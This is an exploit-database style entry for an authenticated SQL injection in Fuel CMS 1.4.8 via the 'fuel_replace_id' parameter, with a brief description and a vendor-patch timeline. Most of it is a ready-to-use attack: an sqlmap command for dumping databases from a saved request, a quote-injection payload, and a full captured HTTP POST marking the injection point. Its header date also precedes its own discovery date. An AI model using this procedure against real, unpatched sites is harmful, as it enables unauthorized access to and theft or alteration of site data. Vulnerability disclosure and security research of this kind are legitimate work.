```
Exploit Title: Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
Date: 2020-08-19
Exploit Author: c0mpu7er
Vendor Homepage: https://www.getfuelcms.com/
Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.8.zip
Tested on: PHP 5.4.45, Apache 2.4.23 ,mysql 5.0


1. Description:
----------------------

FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with 'fuel_replace_id' parameter and save it like 33.txt
Then run SQLmap to extract the data from the database:

python sqlmap.py -r 33.txt --dbs

3.Example payload:

Content-Disposition: form-data; name="fuel_replace_id"

11%27



4. Burpsuite request payload:
----------------------

POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1
Host: 192.168.1.12
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.12
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e6621618
Connection: close

------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_replace_id"

11*
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="Submit"

Submit
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_inline"

1
------WebKitFormBoundarygI1zKZoBINTcL87g--
5. Timeline:
----------------------

2020-08-20: SQLi vulnerability found in Fuel CMS 1.4.8
2020-08-20: Reported vulnerability to vendor
2020-08-22: Vendor has patched the SQLi vulnerability in version 1.4.9
```